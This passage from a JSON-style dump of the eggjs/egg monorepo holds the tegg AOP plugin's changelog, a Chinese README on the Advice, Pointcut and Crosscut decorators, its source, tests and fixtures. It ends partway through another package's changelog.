[1.3.9](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.8...@eggjs/tegg-aop-plugin@1.3.9) (2022-09-05)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [1.3.8](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.7...@eggjs/tegg-aop-plugin@1.3.8) (2022-09-04)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [1.3.7](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.6...@eggjs/tegg-aop-plugin@1.3.7) (2022-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [1.3.6](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.5...@eggjs/tegg-aop-plugin@1.3.6) (2022-08-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [1.3.4](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.3...@eggjs/tegg-aop-plugin@1.3.4) (2022-07-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [1.3.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.2...@eggjs/tegg-aop-plugin@1.3.3) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n## [1.3.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-plugin@1.3.1...@eggjs/tegg-aop-plugin@1.3.2) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-plugin\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/plugin/aop/README.md",
    "content": "# @eggjs/aop-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/aop-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/aop-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/aop-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/aop-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/aop-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/aop-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/aop-plugin\n\n## Usage\n\n```js\n// plugin.js\nexport.teggAop = {\n  enable: true,\n  package: '@eggjs/aop-plugin',\n};\n```\n\n## Advice\n\n使用 `@Advice` 注解来申明一个实现，可以用来监听、拦截方法执行。\n\n**注意：Advice 也是一种 Prototype，可以通过 initType 来指定不同的生命周期，默认为 Singleton。**\n\n如需在调用过程中保存状态，可以将状态通过 `AdviceContext` 的 get/set 来保存。\n\n```ts\nimport { Advice, IAdvice } from '@eggjs/tegg/aop';\n\nconst FOO_STATE_SYMBOL = Symbol('AdviceExample#state');\n\n@Advice()\nexport class AdviceExample implements IAdvice {\n  // Advice 中可以正常的注入其他的对象\n  @Inject()\n  private readonly callTrace: CallTrace;\n\n  // 在函数执行前执行\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    // ...\n    ctx.set(FOO_STATE_SYMBOL, 23333);\n  }\n\n  // 在函数成功后执行\n  async afterReturn(ctx: AdviceContext, result: any): Promise<void> {\n    // 将会打印 23333\n    console.log(ctx.get(FOO_STATE_SYMBOL));\n  }\n\n  // 在函数成功后执行\n  async afterThrow(ctx: AdviceContext, error: Error): Promise<void> {\n    // ...\n  }\n\n  // 在函数退出时执行\n  async afterFinally(ctx: AdviceContext): Promise<void> {}\n\n  // 类似 koa 中间件的模式\n  // block = next\n  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {}\n}\n```\n\n## Pointcut\n\n使用 `@Pointcut` 在某个类特定的方法上申明一个 `Advice`\n\n```ts\nimport { Pointcut } from '@eggjs/tegg/aop';\nimport { ContextProto } from '@eggjs/tegg';\n\n@ContextProto()\nexport class Hello {\n  // 创建 Hello.hello 的切面 AdviceExample，并传递 adviceParams 给 AdviceExample\n  // AdviceExample 的切面函数可以通过 ctx.adviceParams 拿到注解传入的参数\n  @Pointcut(AdviceExample, { adviceParams: { foo: 'bar' } })\n  async hello(name: string) {\n    return `hello ${name}`;\n  }\n}\n```\n\n## Crosscut\n\n使用 `@Crosscut` 来声明一个通用的 `Advice`，有三种模式\n\n- 指定类和方法\n- 通过正则指定类和方法\n- 通过回调来指定类和方法\n\n**注意：egg 中的对象无法被 Crosscut 指定到。**\n\n```ts\nimport { Crosscut, Advice, IAdvice } from '@eggjs/tegg/aop';\n\n// 通过类型来指定\n// 创建 CrosscutClassAdviceExample.hello 的切面 CrosscutExample，并传递 adviceParams 给 CrosscutExample\n// CrosscutExample 的切面函数可以通过 ctx.adviceParams 拿到注解传入的参数\n@Crosscut(\n  {\n    type: PointcutType.CLASS,\n    clazz: CrosscutExample,\n    methodName: 'hello',\n  },\n  { adviceParams: { foo: 'bar' } }\n)\n@Advice()\nexport class CrosscutClassAdviceExample implements IAdvice {}\n\n// 通过正则来指定\n@Crosscut({\n  type: PointcutType.NAME,\n  className: /crosscut.*/i,\n  methodName: /hello/,\n})\n@Advice()\nexport class CrosscutNameAdviceExample implements IAdvice {}\n\n// 通过回调来指定\n@Crosscut({\n  type: PointcutType.CUSTOM,\n  callback: (clazz: EggProtoImplClass, method: PropertyKey) => {\n    return clazz === CrosscutExample && method === 'hello';\n  },\n})\n@Advice()\nexport class CrosscutCustomAdviceExample implements IAdvice {}\n```\n"
  },
  {
    "path": "tegg/plugin/aop/package.json",
    "content": "{\n  \"name\": \"@eggjs/aop-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg aop plugin\",\n  \"keywords\": [\n    \"aop\",\n    \"decorator\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/aop\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/aop\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./lib/AopContextHook\": \"./src/lib/AopContextHook.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./lib/AopContextHook\": \"./dist/lib/AopContextHook.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/aop-decorator\": \"workspace:*\",\n    \"@eggjs/aop-runtime\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggAop\",\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/src/app.ts",
    "content": "import assert from 'node:assert';\n\nimport { CrosscutAdviceFactory } from '@eggjs/aop-decorator';\nimport {\n  crossCutGraphHook,\n  EggObjectAopHook,\n  EggPrototypeCrossCutHook,\n  LoadUnitAopHook,\n  pointCutGraphHook,\n} from '@eggjs/aop-runtime';\nimport { GlobalGraph } from '@eggjs/metadata';\nimport type { Application, ILifecycleBoot } from 'egg';\n\nimport { AopContextHook } from './lib/AopContextHook.ts';\n\nexport default class AopAppHook implements ILifecycleBoot {\n  private readonly app: Application;\n  private readonly crosscutAdviceFactory: CrosscutAdviceFactory;\n  private readonly loadUnitAopHook: LoadUnitAopHook;\n  private readonly eggPrototypeCrossCutHook: EggPrototypeCrossCutHook;\n  private readonly eggObjectAopHook: EggObjectAopHook;\n  private aopContextHook: AopContextHook;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.crosscutAdviceFactory = new CrosscutAdviceFactory();\n    this.loadUnitAopHook = new LoadUnitAopHook(this.crosscutAdviceFactory);\n    this.eggPrototypeCrossCutHook = new EggPrototypeCrossCutHook(this.crosscutAdviceFactory);\n    this.eggObjectAopHook = new EggObjectAopHook();\n  }\n\n  configDidLoad(): void {\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.eggPrototypeCrossCutHook);\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.loadUnitAopHook);\n    this.app.eggObjectLifecycleUtil.registerLifecycle(this.eggObjectAopHook);\n  }\n\n  async didLoad(): Promise<void> {\n    await this.app.moduleHandler.ready();\n    assert(GlobalGraph.instance, 'GlobalGraph.instance is not set');\n    GlobalGraph.instance.registerBuildHook(crossCutGraphHook);\n    GlobalGraph.instance.registerBuildHook(pointCutGraphHook);\n    this.aopContextHook = new AopContextHook(this.app.moduleHandler);\n    this.app.eggContextLifecycleUtil.registerLifecycle(this.aopContextHook);\n  }\n\n  async beforeClose(): Promise<void> {\n    this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.eggPrototypeCrossCutHook);\n    this.app.loadUnitLifecycleUtil.deleteLifecycle(this.loadUnitAopHook);\n    this.app.eggObjectLifecycleUtil.deleteLifecycle(this.eggObjectAopHook);\n    this.app.eggContextLifecycleUtil.deleteLifecycle(this.aopContextHook);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/src/index.ts",
    "content": "import './types.ts';\n"
  },
  {
    "path": "tegg/plugin/aop/src/lib/AopContextHook.ts",
    "content": "import { AspectInfoUtil } from '@eggjs/aop-decorator';\nimport { PrototypeUtil, ObjectInitType, type EggProtoImplClass } from '@eggjs/core-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport { type EggPrototype, TeggError } from '@eggjs/metadata';\nimport { ROOT_PROTO } from '@eggjs/module-common';\nimport type { EggContext, EggContextLifecycleContext } from '@eggjs/tegg-runtime';\nimport type { Application } from 'egg';\n\nexport interface EggPrototypeWithClazz extends EggPrototype {\n  clazz?: EggProtoImplClass;\n}\n\nexport interface ProtoToCreate {\n  name: string;\n  proto: EggPrototype;\n}\n\nexport class AopContextHook implements LifecycleHook<EggContextLifecycleContext, EggContext> {\n  private readonly moduleHandler: Application['moduleHandler'];\n  private requestProtoList: Array<ProtoToCreate> = [];\n\n  constructor(moduleHandler: Application['moduleHandler']) {\n    this.moduleHandler = moduleHandler;\n    for (const loadUnitInstance of this.moduleHandler.loadUnitInstances) {\n      const iterator = loadUnitInstance.loadUnit.iterateEggPrototype();\n      for (const proto of iterator) {\n        const protoWithClazz = proto as EggPrototypeWithClazz;\n        const clazz = protoWithClazz.clazz;\n        if (!clazz) continue;\n        const aspects = AspectInfoUtil.getAspectList(clazz);\n        for (const aspect of aspects) {\n          for (const advice of aspect.adviceList) {\n            const adviceProto = PrototypeUtil.getClazzProto(advice.clazz) as EggPrototype | undefined;\n            if (!adviceProto) {\n              throw TeggError.create(`Aop Advice(${advice.clazz.name}) not found in loadUnits`, 'advice_not_found');\n            }\n            if (adviceProto.initType === ObjectInitType.CONTEXT) {\n              this.requestProtoList.push({\n                name: advice.name,\n                proto: adviceProto,\n              });\n            }\n          }\n        }\n      }\n    }\n  }\n\n  async preCreate(_: unknown, ctx: EggContext): Promise<void> {\n    // compatible with egg controller\n    // add context aspect to ctx\n    if (!ctx.get(ROOT_PROTO)) {\n      for (const proto of this.requestProtoList) {\n        ctx.addProtoToCreate(proto.name, proto.proto);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\n"
  },
  {
    "path": "tegg/plugin/aop/test/aop.test.ts",
    "content": "import path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, afterEach, expect } from 'vitest';\n\ndescribe('plugin/aop/test/aop.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: path.join(import.meta.dirname, 'fixtures/apps/aop-app'),\n    });\n    await app.ready();\n  });\n\n  it('module aop should work', async () => {\n    app.mockCsrf();\n    const res = await app.httpRequest().get('/aop').expect(200);\n    expect(res.body).toEqual({\n      msg: 'withCrossAroundResult(withPointAroundResult(hello withPointAroundParam(withCrosscutAroundParam(foo))))',\n    });\n  });\n\n  it('module aop should work', async () => {\n    app.mockCsrf();\n    const res = await app.httpRequest().get('/singletonAop').expect(200);\n    expect(res.body).toEqual({\n      msg: 'withContextPointAroundResult(hello withContextPointAroundParam(foo))',\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nimport { Hello } from '../../modules/aop-module/Hello.js';\n\nexport default class App extends Controller {\n  async aop(): Promise<void> {\n    const hello: Hello = await this.ctx.module.aopModule.hello;\n    const msg = await hello.hello('foo');\n    this.ctx.status = 200;\n    this.ctx.body = { msg };\n  }\n\n  async contextAdviceWithSingleton(): Promise<void> {\n    const hello: Hello = await this.app.module.aopModule.singletonHello;\n    const msg = await hello.hello('foo');\n    this.ctx.status = 200;\n    this.ctx.body = { msg };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/aop', app.controller.app.aop);\n  app.router.get('/singletonAop', app.controller.app.contextAdviceWithSingleton);\n};\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/app/typings/index.d.ts",
    "content": "import { Hello, SingletonHello } from '../../modules/aop-module/Hello.js';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    aopModule: {\n      hello: Hello;\n      singletonHello: SingletonHello;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport type { EggAppConfig, EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/aop-module\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/config/plugin.ts",
    "content": "export default {\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/modules/aop-module/Hello.ts",
    "content": "import { AccessLevel, ContextProto, Inject, SingletonProto } from '@eggjs/tegg';\nimport { Advice, type AdviceContext, Crosscut, type IAdvice, Pointcut, PointcutType } from '@eggjs/tegg/aop';\nimport type { EggLogger } from 'egg';\n\n@Advice()\nexport class PointcutAdvice implements IAdvice<Hello> {\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    ctx.args[0] = `withPointAroundParam(${ctx.args[0]})`;\n    const result = await next();\n    return `withPointAroundResult(${result})`;\n  }\n}\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Hello {\n  id = 233;\n\n  @Inject()\n  logger: EggLogger;\n\n  @Pointcut(PointcutAdvice)\n  async hello(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n\n  async helloEggObjectAop(): Promise<void> {\n    this.logger.info('foo');\n  }\n}\n\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: Hello,\n  methodName: 'hello',\n})\n@Advice()\nexport class CrosscutAdvice implements IAdvice<Hello> {\n  async around(ctx: AdviceContext<Hello>, block: () => Promise<any>): Promise<any> {\n    ctx.args[0] = `withCrosscutAroundParam(${ctx.args[0]})`;\n    const result = await block();\n    return `withCrossAroundResult(${result})`;\n  }\n}\n\n@Advice()\nexport class ContextPointcutAdvice implements IAdvice<SingletonHello> {\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    ctx.args[0] = `withContextPointAroundParam(${ctx.args[0]})`;\n    const result = await next();\n    return `withContextPointAroundResult(${result})`;\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonHello {\n  id = 233;\n\n  @Inject()\n  logger: EggLogger;\n\n  @Pointcut(ContextPointcutAdvice)\n  async hello(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n\n  async helloEggObjectAop(): Promise<void> {\n    this.logger.info('foo');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/modules/aop-module/package.json",
    "content": "{\n  \"name\": \"aop-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"aopModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/aop/test/fixtures/apps/aop-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/aop/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/common/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/egg-module-common\n\n\n\n\n\n## 